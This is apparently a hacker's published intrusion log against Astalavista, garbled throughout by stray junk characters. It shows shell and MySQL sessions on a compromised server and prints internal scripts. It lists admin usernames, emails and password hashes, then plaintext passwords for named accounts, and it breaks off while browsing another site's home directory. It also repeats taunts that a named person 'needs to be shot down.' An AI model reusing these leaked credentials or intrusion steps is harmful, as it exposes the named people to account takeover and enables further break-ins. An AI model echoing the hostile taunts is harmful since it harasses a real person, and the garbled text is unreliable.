. T6 p) x: n/ @ <description>All availably Exploits.</description>7 E8 [! G4 R( B0 {# z
<language>en-us</language>
9 x6 x5 Q% ^, F a* @. } <lastBuildDate>’ . date(’F, j M Y H:i:s O’) . ‘</lastBuildDate>
: K. B. B- M: }9 D7 n <docs>http://blogs.law.harvard.edu/tech/rss</docs>- r* w* l8 y8 m" I+ q" Z* y5 V9 x
<generator>Astalavista.com</generator>
7 e/ I. n5 I" S# V8 @/ p" o <webMaster>info@astalavista.com</webMaster>’ . $items . ‘) }; K: H" A. i' i
</channel>
* c1 l v5 I8 C+ e, H! |# c</rss>’;( P5 I0 {# U' K0 q8 G
! b$ p' j! I0 _: K" V" T k# ]
if (file_exists(FULLPATH . ‘/feed/exploits.xml’)) {4 O; I3 ?* U$ _+ B
unlink (FULLPATH . ‘/feed/exploits.xml’);; F3 D9 `3 t2 d1 ]1 r
}
$ L9 {9 r" ^" ^4 Y0 C! s: ^2 q' V0 M0 ^
file_put_contents(FULLPATH . ‘/feed/exploits.xml’, $xml);
7 m3 y& O; @6 ~2 N/ g& B[snip]. z# C4 j1 f3 J0 C9 f
" n- z0 _( t, ]sh-3.2$ cat exploits.sh: C. e& }) a; K' f
#!/bin/sh
A9 l0 V) z5 ^( V( J3 r; k7 Y2 g$ v3 g3 [6 {
###########################################################
# y0 K. K! ]$ V v% a# #
0 }. B/ R/ z0 O6 l3 _# Title: milw0rm exploits adder #" q2 E6 g# T( p# z; `
# Description: Add all milw0rm exploits to the #
' ?# u2 T7 I5 K: M# Astalavista.com database #
& g9 H6 k% T( H7 _; {# #3 |3 K6 c. Z h% \& ]% r
# Company: Astalavista Group #
4 r2 [2 `# M. D( Q# Author: Paulo M. Santos #
7 c) s% X5 e/ w3 w% L% Y9 D9 Y# E-Mail: 链接标记paulo.santos@astalavista.ch #- _9 n# n( L5 {5 U; I8 M# r l
# #7 ~( }' R) i( K
###########################################################$ H+ K' n9 l7 H
6 ]5 A: w( c8 h7 {# path1 J$ s5 w1 p" O4 d( v0 u( q7 p
this_path=/home/com/public_html/modifications/cronjobs5 b, J" a! e/ p6 Q6 q& Z
, l, a% l p# ?, u; r, a# change directory) s, `% u& D& N8 C
cd $this_path
- J& S) n2 ]. I# P) M2 fcd tmp/' C$ [- | b2 b7 M
: I" [0 ~8 J7 H6 i# delete files
( K& t* @' ~; F F; ?$ Jrm -rf milw0rm.tar.* &
+ n0 c5 |; M, m# @$ |% a* v5 |rm -rf milw0rm/ &0 v3 V" M/ [" r( _6 ~# O
4 U9 w* ?! E0 b' i# wget milw0rm paket1 i2 n' z/ H% C4 h& [% j
wget 链接标记[url]http://www.milw0rm.com/sploits/milw0rm.tar.bz2[/url]. }; i/ z% g, V' |' y0 _$ p1 |
. t: U/ e t) R8 \. O% y
# extract milw0rm paket2 {' |5 J9 n1 Q' B
tar -xvf milw0rm.tar.bz2
- X w4 X% M: M* C8 S0 O$ n/ G4 E; n& v$ C" j
# change owner
. [: a/ E# q2 ~( @+ lchown -R com .& D% l8 m6 g& ~# @
chgrp -R com .6 E4 _: n+ T6 i4 y, }$ d9 D& {4 ^
9 r$ c! @2 K$ S! K# w# n# execute php script
1 A0 `6 }# N. ocd $this_path
4 W& ], u7 N/ s6 U4 m# b+ `php -q exploits.php
4 ]) i, [* Z% F( a# A4 A9 o5 d* V) e; q( Q
# delete files
' t4 c( m$ @2 R# Prm -rf tmp/milw0rm.tar.*9 S( K" u/ O0 H# j* M
rm -rf tmp/milw0rm/% a6 [) r0 t8 P6 O, Q
& r, n0 h5 Q2 L! b4 E1 p; zsh-3.2$ echo “Paulo M. Santos needs to be shot down.”7 a. B! ^# z6 g' b: g6 O
Paulo M. Santos needs to be shot down.( v) P1 e0 m1 q0 O( o3 @
1 \ ?" Z+ z1 z6 xmysql -u contrexxuser2 -p. v6 @2 \6 e4 {3 D8 P
Enter password:
, l' H( c/ C$ U' W6 j- t+ ?$ q1 KWelcome to the MySQL monitor. Commands end with ; or \g.
# I" `, v* Y% l, C6 d/ i, XYour MySQL connection id is 261694" A$ P% z2 A# X8 v; v
Server version: 5.0.45-community-log MySQL Community Edition (GPL)
6 W* b) K0 |$ t% l& g9 q6 }8 C( p7 {7 _
Type ‘help;’ or ‘\h’ for help. Type ‘\c’ to clear the buffer., |5 m3 B2 D- V5 k1 G# g7 w, v
" P! S. p* Y& D* g$ K" n
mysql> show databases;
3 X f8 L( d$ z0 Z9 I* E+——————–+1 L: o. j/ {9 i6 g$ I/ s2 w+ |9 d
| Database |
D# E! E# o. n' p5 e) S+——————–+: \+ m4 m) b% _$ O6 [
| information_schema |
: O6 y$ v5 _, z) Q& o1 K# H| com_contrexx2 |
% T3 S5 E: m. J6 \ H$ W$ e| com_contrexx2_live |
7 k: Q# E2 F) L+ v; @2 |0 y L| test |9 i" r5 A& x+ P1 c; f3 B1 L
+——————–+7 U! K$ q# @% U2 K6 g/ `
4 rows in set (0.00 sec)
$ e$ f& p! @8 h3 Q( C% g
" S+ b! Z* G- D, t! pmysql> use com_contrexx2_live. A% k3 T8 ~* B! }$ Q! }
Database changed* d) I. r3 x" \& o# I, c
mysql> show tables;) |, Q4 U* H$ q( j3 |4 b
+————————————————–+0 N6 p- b( b4 U& y7 z
| Tables_in_com_contrexx2_live |" c$ }5 I/ g' d1 n6 K# t' S8 N9 A
+————————————————–+* h; r6 I3 M1 V- O$ I* l
| cc_banner_counter |
G" R2 Z9 @) f| cc_search_counter |7 E6 t7 E0 ^6 q' h5 S6 c9 V" f
| contrexx_access_group_dynamic_ids |/ z! t: L k$ N) w( f+ K
| contrexx_access_group_static_ids |7 B; a7 x6 ^& Z( K. P' `4 k0 B
| contrexx_access_rel_user_group |4 f! R/ P, a% p2 |/ ^* f$ @& ]
| contrexx_access_settings |
7 Z; d+ N9 \# m t* q, c% N| contrexx_access_user_attribute |
5 \6 ?" |& a( O( g, Q+ O| contrexx_access_user_attribute_name |
- k: M7 z$ ~4 U2 ~' z| contrexx_access_user_attribute_value |
9 ?( `! g; Y7 o2 C' U/ G3 l$ n2 U| contrexx_access_user_core_attribute |$ D% r* _- ~% @- t% q
| contrexx_access_user_groups |$ g& u3 y0 J+ B4 y. B- _- q3 h: i
| contrexx_access_user_mail |6 ]. m$ d8 l3 T1 F. m
| contrexx_access_user_profile |
6 g- ^1 A: A" ]- X/ q* Q| contrexx_access_user_title |
) N1 k" h3 d/ Y| contrexx_access_user_validity |5 n$ N+ @3 F( }" G8 z* g. h, e% x+ N
| contrexx_access_users |
0 m3 B4 q& g- ~) u| contrexx_backend_areas |
6 o( q1 b& I4 W+ G$ W% J| contrexx_backups |
! s% M$ f- `- B| contrexx_content |7 B/ V1 S! a, h T: }9 L
| contrexx_content_history |
2 ^/ I% c1 M6 C2 d6 @| contrexx_content_logfile |
: O" I* w+ h0 C/ O| contrexx_content_navigation |2 t4 G* i5 x5 z' T# Y# T
| contrexx_content_navigation_history |
; R8 ~5 p3 I5 h| contrexx_ids |
( s+ m9 C( M2 T0 a| contrexx_languages |
+ s# G6 ~$ y7 A# Q) s- O| contrexx_lib_country |( _) L; ]$ {' e2 @" T
| contrexx_log |. ?8 n! x: y% I2 @5 d5 P
| contrexx_module_alias_source |
$ w+ [5 E; B) P5 J| contrexx_module_alias_target |
4 N( j) S3 X. v( W& I! s| contrexx_module_block_blocks |
/ d' h1 L6 \% S# `/ B" I| contrexx_module_block_rel_lang |* u; X' N+ ^$ p+ i5 _' N i
| contrexx_module_block_rel_pages |% }( _4 H. z- P6 O# r
| contrexx_module_block_settings |
, c( p& X0 Y) F| contrexx_module_blog_categories |
- D- {; U- _/ ^, O9 b| contrexx_module_blog_comments |
+ J9 N3 ^/ e1 L! G/ b| contrexx_module_blog_message_to_category |
4 k; r4 {" E& V| contrexx_module_blog_messages |
8 R( ]! ]8 n! K4 n; Y| contrexx_module_blog_messages_lang |
8 J+ \# W1 j% s' \& E| contrexx_module_blog_networks |+ v: G6 c0 n5 B1 }
| contrexx_module_blog_networks_lang |6 s5 C, e8 G4 {
| contrexx_module_blog_settings |+ R. e3 a" j# L; T9 C/ J
| contrexx_module_blog_votes |
) _. N, W7 W! p/ z1 ?, G- \' e| contrexx_module_calendar |3 j7 H. R% T' C) M6 r
| contrexx_module_calendar_access |" l$ F; U& p+ P+ S r! G
| contrexx_module_calendar_categories |# O" y6 T) Y* R7 y
| contrexx_module_calendar_form_data |
: T) \; Y7 K- v c8 L| contrexx_module_calendar_form_fields |
$ |' `- U: q- R# Z6 X% ]* p6 w| contrexx_module_calendar_registrations |( ]/ `% X9 y6 u7 R( M" D2 O2 z
| contrexx_module_calendar_settings |
: `) F# E" J1 s: G6 W| contrexx_module_calendar_style |
, u8 D$ p' }) _0 V' F1 N| contrexx_module_contact_form |* R1 S0 g2 L7 q3 M; i6 ^8 r
| contrexx_module_contact_form_data |
8 ^) f; c2 o ]( m' h r| contrexx_module_contact_form_field |
! J# {& N3 N M( p$ W& e b. h& U| contrexx_module_contact_settings |
! l: z- I. R: Y5 a) y e| contrexx_module_data_categories |' U$ v' r+ E3 b3 w# `8 B
| contrexx_module_data_message_to_category |
8 R5 s, R6 Z t" i6 t( v) Z| contrexx_module_data_messages |
/ V! v. S# c O8 K$ K| contrexx_module_data_messages_lang |3 p1 B5 W5 I' l# @
| contrexx_module_data_placeholders |
' P& [7 n2 s* @$ |. T0 ^( d3 x( b8 X| contrexx_module_data_settings |
/ |# m! A; l Y5 a& C| contrexx_module_directory_access |
: }$ r0 u/ C5 A U: E| contrexx_module_directory_categories |
% F3 i _" C2 s! Q5 |' j| contrexx_module_directory_dir |
" A. N; A3 r1 r: o; A- s| contrexx_module_directory_inputfields |) _; z3 E+ C' C P5 `
| contrexx_module_directory_levels |9 g: s( w2 v |9 a7 J
| contrexx_module_directory_mail |
6 V6 Z! c* I7 y( ?. V| contrexx_module_directory_rel_dir_cat |
1 Y2 R$ y; ?8 s8 S| contrexx_module_directory_rel_dir_level |
1 I5 w, `, v/ H( I; w1 R% ]6 [8 U8 O| contrexx_module_directory_settings |3 p, T1 O+ J6 N6 l2 a+ s: V+ S
| contrexx_module_directory_settings_google |+ y( y5 t; V/ V- Y4 |* B% ^# {
| contrexx_module_directory_vote |/ N4 x. R2 Y! F7 b; v! i" \ m: B
| contrexx_module_docsys |
' g7 n2 S- @2 D& O6 u| contrexx_module_docsys_categories |
$ V, W8 _9 O2 g| contrexx_module_egov_configuration |
; l8 N% r+ \+ F2 T| contrexx_module_egov_orders |
! ?3 t0 l1 J4 U7 t2 s* I| contrexx_module_egov_product_calendar |. D: X* I. E4 ?6 c+ I2 {3 {
| contrexx_module_egov_product_fields | }, n1 H C6 o
| contrexx_module_egov_products |
% M2 v' {4 h0 ]# t3 Q, A0 e h; K| contrexx_module_egov_settings |
/ d0 |7 N0 J! O$ i| contrexx_module_exploits |
/ N* D6 S" ^/ @8 S4 k| contrexx_module_exploits_categories |
6 v7 `5 N5 p* j% }# X# S7 r| contrexx_module_feed_category |) i) Y; ^( \9 Q9 {9 ^' ?
| contrexx_module_feed_news |
) |6 W2 X5 T3 T3 u6 C/ s, q| contrexx_module_feed_newsml_association |% T0 A) P6 b0 a$ b/ S
| contrexx_module_feed_newsml_categories |
$ W& l S: {( a' x2 j" |( T| contrexx_module_feed_newsml_documents |
$ Z6 g9 r g+ x2 H2 ~8 P| contrexx_module_feed_newsml_providers |" d; u% z6 ]. G, H7 M% ?; k, T
| contrexx_module_forum_access |: e# R+ p5 v9 V5 S3 R2 w
| contrexx_module_forum_categories |
8 p6 Z# K; c- x9 ?| contrexx_module_forum_categories_lang |
+ v0 O H1 A$ P( A1 f- m" H| contrexx_module_forum_notification |
% W! z; _2 t0 r! G5 c| contrexx_module_forum_postings |
$ I" T! Y3 }, p9 c; e: o| contrexx_module_forum_rating |
7 m; I9 [- E: ^9 K| contrexx_module_forum_settings |9 Q& V% w1 v1 x. b9 n
| contrexx_module_forum_statistics |6 N7 n0 l, F: j, x; E. E% _
| contrexx_module_gallery_categories |
|9 w$ o& P) W& L& D! g( I3 Z| contrexx_module_gallery_comments |
/ r% m; Z3 o( ?$ R' W| contrexx_module_gallery_language |
( e7 p. y R% {" G% p| contrexx_module_gallery_language_pics |
6 o9 ~ z& T. T. b4 p& \| contrexx_module_gallery_pictures |
& k" q0 ]& g/ I' k" F| contrexx_module_gallery_settings |7 R0 O' c9 F- _+ d
| contrexx_module_gallery_votes |) k* V% u1 c' z" ~$ h4 i h
| contrexx_module_guestbook |
$ }5 P) \: x0 e| contrexx_module_guestbook_settings |7 N. t6 R: u/ @8 h8 ~
| contrexx_module_livecam |* y9 v, M7 S/ L0 c- D2 U
| contrexx_module_livecam_settings | \2 C+ I( F% c8 O- M- L* p2 u5 {& R
| contrexx_module_market |
% Z3 Z6 K$ t( e6 I7 H* P: h5 O| contrexx_module_market_access |
; U v$ [( x. M, R1 }$ R! x. ^7 H| contrexx_module_market_categories |
* ]5 g7 b, P2 s: J+ d| contrexx_module_market_mail |
8 Z# U2 S* h& R0 A| contrexx_module_market_paypal |9 K. F q4 c' x( X! r* w! I
| contrexx_module_market_settings |9 B( Z6 e% K) R) P+ ]
| contrexx_module_market_spez_fields |9 v2 K8 \, L" S8 p( A: W
| contrexx_module_mediadir_access |$ w- W9 @4 o0 [4 Z6 ]
| contrexx_module_mediadir_categories |
+ j- ]1 N+ R" _8 [7 W2 K8 N| contrexx_module_mediadir_comments |7 x8 I4 G, C4 N5 f7 n, Q8 x
| contrexx_module_mediadir_dir |
: \8 K3 J: a7 p s, i$ e| contrexx_module_mediadir_inputfields |2 @) p3 `3 z7 y) S& E* t2 Z& u& V
| contrexx_module_mediadir_levels |
) q: P9 f8 N) a: z' u9 n8 ], E# c| contrexx_module_mediadir_mail |: g' X7 |: r8 e8 Z- J3 R; l
| contrexx_module_mediadir_rel_dir_cat |7 w; w( z* a7 u3 O' s- w
| contrexx_module_mediadir_rel_dir_level |* w# W, g8 ~) v) t# |8 X6 L
| contrexx_module_mediadir_reports |
; Z0 G4 {; f, m f8 I+ W( }/ e| contrexx_module_mediadir_settings |
$ ~, K7 Y) o$ w1 Z N| contrexx_module_mediadir_settings_google |$ x$ m0 o* r$ f" P
| contrexx_module_mediadir_vote |; t: \: }" p$ v# L" [; A5 N
| contrexx_module_memberdir_directories |; i, V2 o" O- O0 Q" }) D
| contrexx_module_memberdir_name |. V8 a6 w. u+ \& p9 U- @& q9 v3 F
| contrexx_module_memberdir_settings |
5 A: {1 f" I. h! Y3 S9 K; A| contrexx_module_memberdir_values |
& m# Z( ^% O7 M1 U| contrexx_module_nettools_allowed_groups |
7 S+ K' {! g \5 ?% q$ w4 n| contrexx_module_nettools_settings |: X# x7 C( Z4 e) q% H W
| contrexx_module_news |9 ~% w. E: G/ V \" `; U0 B
| contrexx_module_news_access |0 l% b# M/ N+ p( f4 \" B* _
| contrexx_module_news_categories |
; R' t; B' W4 ^* t2 {| contrexx_module_news_settings |5 J! B" j- A) M$ R6 u# }
| contrexx_module_news_teaser_frame |
' e; c" X3 @5 B% V1 T9 N9 d' {| contrexx_module_news_teaser_frame_templates |7 A. n3 a' }2 ~( y$ l. r
| contrexx_module_news_ticker |$ L) U4 g) W Q* ?5 d4 S/ `
| contrexx_module_newsletter |7 t4 x1 F j5 P* I$ s2 r/ o/ {
| contrexx_module_newsletter_attachment |9 L2 y& S, G: Y! J) a9 i6 f
| contrexx_module_newsletter_category |
+ U6 u, ^ H8 _; j% g; S| contrexx_module_newsletter_confirm_mail |
! G2 I2 @* X- C2 X n# F| contrexx_module_newsletter_rel_cat_news |
B8 {! p* I' Y% [7 `5 _/ D3 v| contrexx_module_newsletter_rel_user_cat |
( r4 U7 }7 H3 I5 F+ m& D m3 t) M| contrexx_module_newsletter_settings |
; D, e# r; y" A, J' V e$ v| contrexx_module_newsletter_template |
5 ]/ t! K+ E, e) L" Y| contrexx_module_newsletter_tmp_sending |% K# R; F& G& M# j" [8 l/ J/ y6 `
| contrexx_module_newsletter_user |- R# L; O! ?# |5 p# h
| contrexx_module_newsletter_user_title |
: p$ x& J/ B$ g- n9 J4 ]3 n$ Y! p| contrexx_module_onlinetools_defaultports |4 d/ w" v! y+ C) W! s$ M+ h% n
| contrexx_module_onlinetools_defaultports_back |6 `% g- L) z( }4 J) o( `
| contrexx_module_onlinetools_geolitecity_blocks |
9 d9 m7 {, Q. C& I S5 i( v9 G| contrexx_module_onlinetools_geolitecity_country |9 c, ]. `1 B p8 f; S
| contrexx_module_onlinetools_geolitecity_location |
8 k" \- q3 }! D; Y$ U _5 {0 v| contrexx_module_podcast_category |
: g3 A" D# S2 A* H" a8 |7 @| contrexx_module_podcast_medium |
Y# x+ F/ Z4 V- G V| contrexx_module_podcast_rel_category_lang |! h x; |/ T1 k
| contrexx_module_podcast_rel_medium_category |4 }, @ T# p1 w( ~7 s4 p0 H% M
| contrexx_module_podcast_settings |
$ A4 D# r. M4 W5 R| contrexx_module_podcast_template |
) A1 m, r& ]# Q. x2 U! t| contrexx_module_proxydb |
6 U$ u* [+ a' l" X) Q% X8 i| contrexx_module_recommend |
2 Z7 x* r& c. b+ V* q| contrexx_module_repository |
$ u- ?: b( _8 j; g5 l8 {' x# a| contrexx_module_securitynews_cats |
2 C2 u5 w4 M$ w4 P6 D+ {* R0 T| contrexx_module_securitynews_feeds |
1 q) \" N- ^& D- X| contrexx_module_securitynews_news |3 m5 {+ V, c& z
| contrexx_module_shop_categories |
/ A) D |# z4 U+ @% L| contrexx_module_shop_config |
: N3 I* E# N! z6 @| contrexx_module_shop_countries |) n& T( I/ c! j. B# d
| contrexx_module_shop_currencies |
8 ?, @& [' q6 h: o| contrexx_module_shop_customers |
9 I) [4 j X0 v8 M| contrexx_module_shop_importimg |/ ]1 j0 l: c. u3 n/ W1 s/ V
| contrexx_module_shop_lsv |
, p8 m- {( S$ }. f) K% {$ ~ A) z| contrexx_module_shop_mail |5 ]3 f& L- @1 k) k+ P8 w+ i
| contrexx_module_shop_mail_content |- D; d5 W9 k" n
| contrexx_module_shop_manufacturer |& w1 i2 n- J% X. b. o1 i
| contrexx_module_shop_order_items |* o' n' d* t; i+ N
| contrexx_module_shop_order_items_attributes |8 h4 y) n: C" X" L7 G8 ^( K
| contrexx_module_shop_orders |6 V/ Q% `4 u0 U# B2 ^
| contrexx_module_shop_payment |
7 z( \/ j# c+ ~; ?/ t: N7 @| contrexx_module_shop_payment_processors |
$ Y0 E0 }9 a, `* N8 T| contrexx_module_shop_pricelists |
+ D) o$ w' H. K5 q" z+ Q% X| contrexx_module_shop_products |
0 q0 A! j" ^. r: T| contrexx_module_shop_products_attributes |4 f+ C4 J* Y4 ?7 [
| contrexx_module_shop_products_attributes_name |& F6 `( S, a/ h' d$ Y
| contrexx_module_shop_products_attributes_value |) N9 a; {5 \/ t( `
| contrexx_module_shop_products_downloads |
: l/ q( \5 f4 I, z3 ~! O' G4 a3 K| contrexx_module_shop_rel_countries |( H4 Q( ?" K2 K4 {6 |* C
| contrexx_module_shop_rel_payment |: Q% W& S+ _- J
| contrexx_module_shop_rel_shipment |
: z( V7 |' x( \! H5 G| contrexx_module_shop_shipment_cost |% g+ Z8 k6 m4 o) V( q
| contrexx_module_shop_shipper |
8 t% _; D# ? i+ P A| contrexx_module_shop_vat |
) Y/ z, r5 k# k% u| contrexx_module_shop_zones |
% d0 Q$ v2 | _3 I' M& Y+ d| contrexx_module_u2u_address_list |
& l& f2 v* p, V8 _& G) \| contrexx_module_u2u_message_log |
0 k* h- r1 L9 Q( v4 i| contrexx_module_u2u_sent_messages |
2 w2 ?( X- O" v| contrexx_module_u2u_settings |
. B* |# e- r; a% t2 X. R| contrexx_module_u2u_user_log |0 R, U3 O! m7 y- X
| contrexx_modules |
% y) ]( l8 o0 J, q8 c [0 v1 L' T/ @| contrexx_sessions |$ R; h2 J" {& [5 T$ n" E
| contrexx_settings |# A% g3 X# k2 ?# _
| contrexx_settings_smtp |! v4 Z b0 a7 h8 D
| contrexx_skins |4 i7 k6 t% {: n: J
| contrexx_stats_browser |& a. W. L5 O6 C) t
| contrexx_stats_colourdepth |
( c+ I4 |) l1 `! o+ { a| contrexx_stats_config |2 p. Z( [2 ^/ @0 f0 C
| contrexx_stats_country |1 f! Q. D* M2 y) i
| contrexx_stats_hostname |
9 Z1 o7 D6 D3 i* Y5 ~7 h* D| contrexx_stats_javascript |3 i7 ^ N/ V% b5 b, Q/ V
| contrexx_stats_operatingsystem |1 {$ \4 O1 _8 p- Q% B Q m
| contrexx_stats_referer |' ]7 z4 Q1 W# h+ B. s3 o
| contrexx_stats_requests |
# u6 j1 v, D. w) h8 M. o| contrexx_stats_requests_summary |7 R+ k. ^! Y) _3 b# f
| contrexx_stats_screenresolution |
! |+ z9 |- m# Y, x+ l| contrexx_stats_search |% F$ r2 E' q* P S4 H" e; e
| contrexx_stats_spiders |- J! J. \$ s/ a1 J' @
| contrexx_stats_spiders_summary |
6 _0 j* ]- e: E3 J/ p" P| contrexx_stats_visitors |( ]- e3 B" {! a& M+ w4 `- n
| contrexx_stats_visitors_summary |3 Z7 |9 X6 ~) ~, p7 ?1 v$ R
| contrexx_voting_additionaldata |* s, O# h6 R$ `4 R! \9 Y
| contrexx_voting_email |/ Z4 L- C: f6 Z
| contrexx_voting_rel_email_system |5 V. n% k9 x0 x' O M% q
| contrexx_voting_results |
: m: X. I+ \# h7 {| contrexx_voting_system |7 z: A" K; v+ F2 w# U8 ?. B! j; Q! H
| foo |; u6 Q! i2 O2 R
+————————————————–+
6 P9 j' `! p4 d) C0 ]( S/ M- v227 rows in set (0.01 sec)1 | g9 {& q- J9 J/ w, d
4 H/ g& \$ z' N- Bmysql> select count(*) as skids from contrexx_access_users;& u; z# K) I1 W, T& B
+——-+/ p( ]: r5 {6 g) b& M
| skids |
8 `1 o& m `. v0 i1 z$ ]8 r3 D# S& F# k+——-+) Z$ }+ C6 o6 o$ z; v) E5 _* N2 U
| 53699 |! S4 i. g% o6 {) S4 V
+——-+
9 @) Y2 Q2 V$ F* N1 row in set (0.00 sec)' K( o7 ~9 X' i/ R) W6 c
" o f* b0 g5 u; fmysql> describe contrexx_access_users;) J @5 q2 K; m: ?1 I! i
+——————+——————————————+——+—–+————–+—————-+
/ R& M" S& N" u| Field | Type | Null | Key | Default | Extra |& p e# j7 A+ \9 ^3 O
+——————+——————————————+——+—–+————–+—————-+
1 Y( \0 h1 S& }| id | int(10) unsigned | NO | PRI | NULL | auto_increment |
6 J" @) }$ W0 e* X0 ^| is_admin | tinyint(1) unsigned | NO | | 0 | |
* I& D* E! w& H# Z- V| username | varchar(40) | YES | MUL | NULL | | d/ X$ h% ~& X
| password | varchar(32) | YES | | NULL | |0 b# S" r' Y# e* m3 p( x8 q, M
| regdate | int(14) unsigned | NO | | 0 | | I) v9 H( ^3 @/ x* M, M
| expiration | int(14) unsigned | NO | | 0 | |
: a1 _6 [4 T1 q J+ |: J8 E* a| validity | int(10) unsigned | NO | | 0 | |, q1 k/ c. a( \4 d
| last_auth | int(14) unsigned | NO | | 0 | |
" _" X L: P+ f& E: e| last_activity | int(14) unsigned | NO | | 0 | |. U( T9 J0 r/ l8 @, v
| email | varchar(255) | YES | | NULL | |; O4 O& q/ h* p a
| email_access | enum(’everyone’,'members_only’,'nobody’) | NO | | nobody | |) t p/ D7 L- c) s/ f6 s" A
| frontend_lang_id | int(2) unsigned | NO | | 0 | | @0 f& T6 s9 A7 g0 }- l; ~5 I
| backend_lang_id | int(2) unsigned | NO | | 0 | |
' f' A, ?7 F1 N- j, A| active | tinyint(1) | NO | | 0 | |
: U0 N2 n S, Y| profile_access | enum(’everyone’,'members_only’,'nobody’) | NO | | members_only | |
. q: P, x9 o% g" x% { y( S7 }3 q| restore_key | varchar(32) | NO | | | |
* B+ Y5 Q& f* S$ i c. Z6 || restore_key_time | int(14) unsigned | NO | | 0 | |& M9 k/ G9 ~ v' f3 o
| u2u_active | enum(’0′,’1′) | NO | | 1 | |1 P9 c( |$ \# U$ }; w x3 O& f5 U
+——————+——————————————+——+—–+————–+—————-+
3 s9 a/ O# g. ?3 e18 rows in set (0.00 sec)8 a- u0 x) M% d& a
4 U1 n1 T2 d% f @. g% l" cmysql> select username,password,email from contrexx_access_users where is_admin = 1;% ^' i# j- x; z% r2 ?
+————+———————————-+—————————–+, v1 j$ P/ l# P3 y6 R5 k3 O
| username | password | email |
v4 B, j& `3 [5 O. ~; w+————+———————————-+—————————–++ Q& u2 @3 ^! U$ A. B
| system | 0defe9e458e745625fffbc215d7801c5 | 链接标记info@comvation.com | R5 Q% [6 F2 o% m1 R) X
| prozac | 1f65f06d9758599e9ad27cf9707f92b5 | 链接标记prozac@astalavista.com |% c, i5 b1 d2 F8 s4 I! i
| Be1er0ph0r | 78d164dc7f57cc142f07b1b4629b958a | 链接标记paulo.santos@astalavista.ch |
' \) E" H' M, _* b- L| schmid | 0defe9e458e745625fffbc215d7801c5 | 链接标记ivan.schmid@comvation.com |
8 x4 F7 E. M8 i6 y' N- h) a+————+———————————-+—————————–+6 K+ z; ]3 I; m. C% j5 G: ?7 M5 j
4 rows in set (0.04 sec)! c: l( B* T9 g F# F+ z
; q0 g; X5 ?" n. n* imysql> exit;
2 ^1 l1 D4 C( K% z1 qBye1 u' [3 u/ o8 n# f v( i" D
2 c$ B: L& n5 o5 W% R: b# Z' W; W! y3 Y
[~] There you go, your “team of security and IT professionals” is a joke.' H/ Y- f; O$ Z- \9 U. p1 @% O/ b
! D; j5 v5 l7 g" i7 u( E Y6 W3 W) n+——————————+0 c# t3 ~; j, D# U- M4 n
system:f82BN3+_*
; U! z" m# q2 g6 p# YBe1er0ph0r:belerophor4astacom7 e; Y( x$ m( G6 o
prozac:asta4cms!
& `! @. B, V4 U0 H v4 mcommander:mpbdaagf6m
4 h1 I0 B# ^5 _0 Asykadul:ak29eral
4 F/ @7 S1 \# i0 ?+ O. X" Y+——————————+( G9 @3 I' S v1 G2 _. J
' r; \8 U( i1 P8 d! {[~] Paulo M. Santos AKA Be1er0ph0r needs to be shot down for his milw0rm ripping script(s)
) y. y5 v5 p- k% L B' R& R# Y; R( z; v…and the others, find another area to get paid from, security isn’t for sale and you obviously fail at it.
/ j( G4 R# M- }, Q! `
" G/ e) x' g# T. M[~] Lets move to astalavista.net now,, j9 R8 P G2 A; v# B$ O
5 Q3 Y; V1 s+ ?2 n' U5 x5 }From <链接标记[url]https://www.astalavista.net/[/url]>:+ b1 I, V' m2 c4 p) J/ ~( e/ U1 k
>> Everyone knows that the best defense is a good offense.
. n( B1 K7 F) y `2 H>> Those who wait for their foes to find a security loophole are opting for the wrong strategy.
: v: ]9 X* A6 v8 X9 @$ o1 H: O>> The ASTALAVISTA hacking & security community is the largest IT security community in the world.3 L9 i2 L% i( ?/ ~) P# ?
>> It.s a platform for both IT specialists and novices, and anyone interested in expanding and updating their knowledge regarding IT security and hacking.”: q) O" \6 B' G/ u5 C* N
/ z3 h5 i5 a6 p# U! P# `) C7 L$ U% x
>> Go ahead, try and hack our server . in a completely legal way!
% z. @$ @/ f5 [>> Learn by doing: We offer our members tricky tasks and challenges on an
3 s0 {9 Y6 e6 \# U3 X( n>> ongoing basis so you can test your knowledge and abilities. You can also2 ]0 t3 ^2 z" k' S$ z9 W& T$ s4 N$ [1 M
>> demonstrate what you.ve mastered by taking part in regular hacker contests
7 P+ O$ o8 x( L4 U- O" f2 r>> and war games: Q H8 X$ t* M/ {3 X
R/ @* h0 M2 ?/ t3 _$ s8 U- c. V
[~] Lets take a look there, after all… they are hack-proof, aren’t they?!! d6 ?6 Z1 g6 {: ~# g! {" f
. {! Z) c2 m* P5 ~3 u[-] Tricky task: Find home dir of astalavista.net2 a' h5 T2 W, f/ g5 F$ X( N
* N# m9 }1 @4 V1 p; ^( g
sh-3.2$ ls -la ~astanet; i% x' W9 P s& b) ^, r: J
total 48+ Q0 K- ?* M! k
drwx–x–x 6 astanet astanet 4096 Dec 23 15:55 .
/ ~$ V2 n7 O- H6 a k6 Adrwxr-xr-x 14 root root 4096 Mar 11 17:56 ..
6 N, z! ~+ k- ]drwxr-xr-x 2 root root 4096 Dec 23 16:00 auth4 Y. ^, @* n. v7 E+ {, y7 U4 X( s
-rw——- 1 astanet astanet 3892 Apr 16 12:14 .bash_history1 C$ x1 _! K. o: `
-rw-r–r– 1 astanet astanet 33 Dec 17 21:50 .bash_logout
# t: ?, N; R- y$ d- _9 r9 K-rw-r–r– 1 astanet astanet 176 Dec 17 21:50 .bash_profile! T% i) ^3 {" y5 N5 d
-rw-r–r– 1 astanet astanet 124 Dec 17 21:50 .bashrc
2 J$ W- c% N8 {: U5 Gdrwx–x–x 3 astanet astanet 4096 Dec 23 12:18 domains
7 Y; x1 A4 s7 O# idrwxrwx— 3 astanet mail 4096 Dec 23 12:18 imap
/ y: Y% {* L; k" g+ W+ F( B8 Adrwx—— 2 astanet astanet 4096 Dec 23 12:18 mail1 n1 u- O7 O: ?" l& ?
lrwxrwxrwx 1 astanet astanet 37 Dec 23 12:18 public_html -> ./domains/astalavista.net/public_html
) Y% [" a D( n' I, s. F0 q p-rw-r—– 1 astanet mail 34 Dec 22 12:41 .shadow
! h% V9 D3 a5 C) z; X" r5 l' V9 f) p, S3 ]
sh-3.2$ cd /home/astanet/domains/astalavista.net/private_html/
. ^ S; S4 A/ u, w" ^6 v9 Lsh-3.2$ ls -la, ]; E- Y7 }2 m: S
total 2005 p @/ z6 [8 n, U
drwxr-x— 29 astanet apache 4096 Jan 6 13:58 .
7 ~1 B7 |" J% _1 Vdrwx–x–x 8 astanet astanet 4096 Dec 23 13:53 ..
